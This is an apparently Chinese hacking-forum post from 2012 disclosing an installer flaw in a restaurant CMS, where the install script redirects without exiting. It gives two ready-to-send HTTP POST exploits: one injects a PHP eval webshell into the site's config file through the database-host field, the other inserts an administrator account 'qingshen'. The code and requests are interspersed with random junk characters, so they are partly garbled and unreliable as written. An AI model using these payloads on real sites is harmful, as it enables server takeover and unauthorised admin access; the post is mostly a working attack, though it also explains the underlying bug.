找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2156|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。$ a* p: r3 w  u9 B" r( _4 [

, o9 x1 M$ j- \) l- K' Q6 P4 f<?php
3 @$ G) w) b1 P5 Sif(file_exists("../install.lock")); G! B0 z3 X- [" P( Q, z
{
; W1 _# W/ W' I" B# |, b& ~    header("Location: ../");//没有退出4 n: |0 U- n/ M: ?. X  C
}
: r9 q% l" ^$ P! J& g" S9 w* s& H               
; Z$ M* h* H4 t1 A# i9 K//echo 'tst';exit;3 P4 Y* c8 f$ B& x% ~# w1 }7 T' a
require_once("init.php");  l5 |2 N" Y& o+ G+ t& \
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
; ]1 }. O2 z1 `: }3 h{: @! D1 }0 [$ s; ^/ _: R" Y4 C# P
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
- q: a+ d0 P) v% F; g
9 Y" L9 H% @9 P3 m( B6 p& ]7 i5 E1、getshell(很危险)+ v8 W8 @2 A9 N
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
  \" ?, J! b7 g4 O: ?{
8 M( E( B& E! \$ y  W" g$smarty->assign("step",1);
) P' \2 r# s3 ]0 n3 }8 U% Z1 i- c$smarty->display("index.html");
/ g) ]1 d7 T- j' n2 x}elseif($_REQUEST['step']==2)7 y- j2 L! ]* L) E, V
{" u1 |0 ~% G% L. z; Q; \3 H7 Z; w
    $mysql_host=trim($_POST['mysql_host']);% Q0 S: |: D) V& R7 F; r2 [
    $mysql_user=trim($_POST['mysql_user']);
* [" B8 Q& c+ O( H    $mysql_pwd=trim($_POST['mysql_pwd']);
: \0 f' t( ]# l! |% v    $mysql_db=trim($_POST['mysql_db']);
% o3 ?, ^+ O& y% u1 ]    $tblpre=trim($_POST['tblpre']);
. z, l2 W0 E' v6 L    $domain==trim($_POST['domain']);/ Z" {  A$ l) p) E. \# f2 _
    $str="<?php \r\n";# o. S6 `, }) {1 |
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";5 \- u9 F) g6 g% j' y* D" {
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
5 X. a" y; g+ p# e0 w    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";1 y- n0 {  y1 |' v2 ^. n2 S: c+ I: P
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
. `& A4 b. }% _# T  r6 g    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";4 `. `8 N- s; o2 y, f- g& x) \3 P
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";8 h3 j: R( w/ q- H
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
% _; G* q( D8 t    $str.='define("SKINS","default");'."\r\n";3 u+ X% v8 G6 a3 b
    $str.='?>';  }+ G1 a3 v$ ~3 H6 a
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件  L$ s4 e: `* W
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
& k# f9 [7 d3 [" F9 FPOST /canting/install/index.php?m=index&step=2 HTTP/1.1, [* G( U) S# J3 S
Host: 192.168.80.129- k$ G/ t) w& g8 H) h6 c  D
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
2 [$ v7 v6 w+ P0 J/ r, O0 }% ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
$ B0 |+ L' x/ w+ D0 AAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3( O- @8 C: s2 U+ y/ y# g% U2 r
Accept-Encoding: gzip, deflate
+ W& h) ^' u. w4 r: @# ]9 J6 g% ?* M+ t3 MReferer: http://192.168.80.129/canting/install/index.php?step=1/ F( Y. ^/ V* o1 w; ?5 v
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42. E/ R6 m0 |1 h' G
Content-Type: application/x-www-form-urlencoded
$ Y$ |6 `6 A  B5 L+ e0 wContent-Length: 126
' r6 E+ ]) l3 i0 w6 P          * {/ }  B, j* f, X# N% |
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD( ]( M8 ~1 u4 y& j- k5 C$ t8 t
但是这个方法很危险,将导致网站无法运行。
$ d6 C: ?% u  M, \  [% j( F1 F
( b9 s& l  f+ Y% K- Y! u2、直接添加管理员
8 d3 K) k. B+ W3 g; s0 M+ h% i2 A$ G- u
elseif($_REQUEST['step']==5)
" q( e& w" W4 `/ M; S8 Q. B{
1 _- D0 C/ ]. ^8 ?8 O  H9 E: g9 ^    if($_POST)
9 j9 _( f. _) L% x$ q6 H8 |    {   require_once("../config/config.inc.php");. |( T. c+ d/ |
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);7 K' h* ?7 O+ R$ d& I3 F% Y. S/ g
        mysql_select_db(MYSQL_DB,$link);) w! X$ f  U& _  k9 q' X' X
        mysql_query("SET NAMES ".MYSQL_CHARSET );
/ P; x/ J. D" S$ {( w         mysql_query("SET sql_mode=''");) N) P/ p7 r1 [. g) ~$ r$ c( g5 F
+ p" h0 m, H: a" Y, K) {6 R
$adminname=trim($_POST['adminname']);$ B( @" s  }; f1 G, z, C
        $pwd1=trim($_POST['pwd1']);
% m( \0 p2 C2 b0 z        $pwd2=trim($_POST['pwd2']);$ h' b# _! c% s  k, I3 l
        if(empty($adminname))
" `; z  Y1 \7 V# i/ Y        {
2 d/ F" O+ z/ e$ i# }1 J! l; ]$ T; Q9 r
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
3 z& Q! i+ z1 {8 _+ z' {            exit();5 ?. |" z. U) C) S$ S- g( D; j3 h
        }' `( X2 ]" E# u( n! l; C
        if(($pwd1!=$pwd2) or empty($pwd1))
  @+ C3 w) M  I! e0 K/ U        {
! g4 h$ ^; I) \8 s$ k            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出/ y5 d# a% b% T% V/ a
        }
1 k5 A2 O6 A+ }# o) u  ], q        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
  O5 R8 `& B* d0 P  X    }
, l$ C) h8 D# F这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
: p; g/ n7 }+ b( ~POST /canting/install/index.php?m=index&step=5 HTTP/1.1$ a5 C6 y' K. l
Host: 192.168.80.129
% n7 f4 e" |. ?, v: @( IUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
6 {; v2 L- t" A; U/ k0 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
1 R8 i- f2 V; Z  w7 r$ nAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.32 u1 h0 Y: X& T+ [+ m
Accept-Encoding: gzip, deflate7 }. h1 P6 w$ @
Referer: http://www.2cto.com /canting/install/index.php?step=1' x6 Z# R2 K, _& T! u* |+ Q# _
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42- Z; S- o9 g" x' Y' Z- N! T
Content-Type: application/x-www-form-urlencoded
$ y2 J; |' K" z( ?# K6 {Content-Length: 46
; c+ q! |6 H, j+ Y) v: t+ S      " d* a; }' i; ^$ N# S3 G7 l/ d
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​- |) [7 O1 G* I- X" N0 a: h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表